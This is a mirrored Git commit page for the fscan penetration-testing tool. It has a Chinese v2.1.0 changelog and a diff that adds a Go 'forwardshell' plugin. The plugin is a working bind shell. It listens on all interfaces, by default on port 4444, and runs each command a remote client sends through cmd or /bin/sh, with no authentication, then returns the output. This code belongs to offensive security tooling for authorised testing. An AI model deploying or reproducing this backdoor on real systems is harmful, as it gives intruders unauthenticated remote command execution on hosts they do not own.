mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-23 19:51:52 +08:00
feat: v2.1.0 核心重构与功能增强
## 架构重构
- 全局变量消除,迁移至 Config/State 对象
- SMB 插件融合(smb/smb2/smbghost/smbinfo)
- 服务探测重构,实现 Nmap 风格 fallback 机制
- 输出系统重构,TXT 实时刷盘 + 双写机制
- i18n 框架升级至 go-i18n
## 性能优化
- 正则表达式预编译
- 内存优化 map[string]struct{}
- 并发指纹匹配
- SOCKS5 连接复用
- 滑动窗口调度 + 自适应线程池
## 新功能
- Web 管理界面
- 多格式 POC 适配(xray/afrog)
- 增强指纹库(3139条)
- Favicon hash 指纹识别
- 插件选择性编译(Build Tags)
- fscan-lab 靶场环境
- 默认端口扩展(62→133)
## 构建系统
- 添加 no_local tag 支持排除本地插件
- 多版本构建:fscan/fscan-nolocal/fscan-web
- CI 添加 snapshot 模式支持仅测试构建
## Bug 修复
- 修复 120+ 个问题,包括 RDP panic、批量扫描漏报、
JSON 输出格式、Redis 检测、Context 超时等
## 测试增强
- 单元测试覆盖率 74-100%
- 并发安全测试
- 集成测试(Web/端口/服务/SSH/ICMP)
This commit is contained in:
@@ -0,0 +1,227 @@
|
||||
//go:build (plugin_forwardshell || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// ForwardShellPlugin 正向Shell插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现Shell服务功能
|
||||
// - 保持原有功能逻辑
|
||||
type ForwardShellPlugin struct {
|
||||
plugins.BasePlugin
|
||||
listener net.Listener
|
||||
}
|
||||
|
||||
// NewForwardShellPlugin 创建正向Shell插件
|
||||
func NewForwardShellPlugin() *ForwardShellPlugin {
|
||||
return &ForwardShellPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("forwardshell"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行正向Shell服务 - 直接实现
|
||||
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
// 从config获取配置
|
||||
port := config.LocalExploit.ForwardShellPort
|
||||
if port <= 0 {
|
||||
port = 4444
|
||||
}
|
||||
|
||||
output.WriteString("=== 正向Shell服务器 ===\n")
|
||||
output.WriteString(fmt.Sprintf("监听端口: %d\n", port))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
// 启动正向Shell服务器
|
||||
err := p.startForwardShellServer(ctx, port, state)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("正向Shell服务器错误: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("✓ 正向Shell服务已完成\n")
|
||||
common.LogSuccess(i18n.Tr("forwardshell_complete", port))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// startForwardShellServer 启动正向Shell服务器
|
||||
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State) error {
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||
if err != nil {
|
||||
return fmt.Errorf("监听端口失败: %w", err)
|
||||
}
|
||||
defer func() { _ = listener.Close() }()
|
||||
|
||||
p.listener = listener
|
||||
common.LogSuccess(i18n.Tr("forwardshell_started", port))
|
||||
|
||||
// 设置正向Shell为活跃状态
|
||||
state.SetForwardShellActive(true)
|
||||
defer func() {
|
||||
state.SetForwardShellActive(false)
|
||||
}()
|
||||
|
||||
// 主循环处理连接
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
|
||||
// 设置监听器超时
|
||||
if tcpListener, ok := listener.(*net.TCPListener); ok {
|
||||
_ = tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
|
||||
}
|
||||
|
||||
conn, err := listener.Accept()
|
||||
if err != nil {
|
||||
var netErr net.Error
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue
|
||||
}
|
||||
common.LogError(i18n.Tr("forwardshell_accept_failed", err))
|
||||
continue
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String()))
|
||||
go p.handleClient(conn)
|
||||
}
|
||||
}
|
||||
|
||||
// handleClient 处理客户端连接
|
||||
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
|
||||
defer func() { _ = clientConn.Close() }()
|
||||
|
||||
// 发送欢迎信息
|
||||
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
|
||||
_, _ = clientConn.Write([]byte(welcome))
|
||||
|
||||
// 创建命令处理器
|
||||
scanner := bufio.NewScanner(clientConn)
|
||||
|
||||
for scanner.Scan() {
|
||||
command := strings.TrimSpace(scanner.Text())
|
||||
|
||||
if command == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
if command == "exit" {
|
||||
_, _ = clientConn.Write([]byte("Goodbye!\n"))
|
||||
break
|
||||
}
|
||||
|
||||
// 执行命令并返回结果
|
||||
p.executeCommand(clientConn, command)
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil {
|
||||
common.LogError(i18n.Tr("forwardshell_read_failed", err))
|
||||
}
|
||||
}
|
||||
|
||||
// executeCommand 执行命令并返回结果
|
||||
func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
|
||||
var cmd *exec.Cmd
|
||||
|
||||
// 根据平台创建命令
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("cmd", "/c", command)
|
||||
case "linux", "darwin":
|
||||
cmd = exec.Command("/bin/sh", "-c", command)
|
||||
default:
|
||||
_, _ = fmt.Fprintf(conn, "不支持的平台: %s\n", runtime.GOOS)
|
||||
return
|
||||
}
|
||||
|
||||
// 设置命令超时
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
|
||||
defer cancel()
|
||||
cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...)
|
||||
|
||||
// 执行命令并获取输出
|
||||
output, err := cmd.CombinedOutput()
|
||||
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
_, _ = conn.Write([]byte("命令执行超时\n"))
|
||||
return
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
_, _ = fmt.Fprintf(conn, "命令执行失败: %v\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// 发送命令输出
|
||||
if len(output) == 0 {
|
||||
_, _ = conn.Write([]byte("(命令执行成功,无输出)\n"))
|
||||
} else {
|
||||
_, _ = conn.Write(output)
|
||||
if !strings.HasSuffix(string(output), "\n") {
|
||||
_, _ = conn.Write([]byte("\n"))
|
||||
}
|
||||
}
|
||||
|
||||
// 发送命令提示符
|
||||
prompt := p.getPrompt()
|
||||
_, _ = conn.Write([]byte(prompt))
|
||||
}
|
||||
|
||||
// getPrompt 获取平台特定的命令提示符
|
||||
func (p *ForwardShellPlugin) getPrompt() string {
|
||||
hostname, _ := os.Hostname()
|
||||
username := os.Getenv("USER")
|
||||
if username == "" {
|
||||
username = os.Getenv("USERNAME") // Windows
|
||||
}
|
||||
if username == "" {
|
||||
username = "user"
|
||||
}
|
||||
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return fmt.Sprintf("%s@%s> ", username, hostname)
|
||||
case "linux", "darwin":
|
||||
return fmt.Sprintf("%s@%s$ ", username, hostname)
|
||||
default:
|
||||
return fmt.Sprintf("%s@%s# ", username, hostname)
|
||||
}
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("forwardshell", func() Plugin {
|
||||
return NewForwardShellPlugin()
|
||||
})
|
||||
}
|
||||
Reference in New Issue
Block a user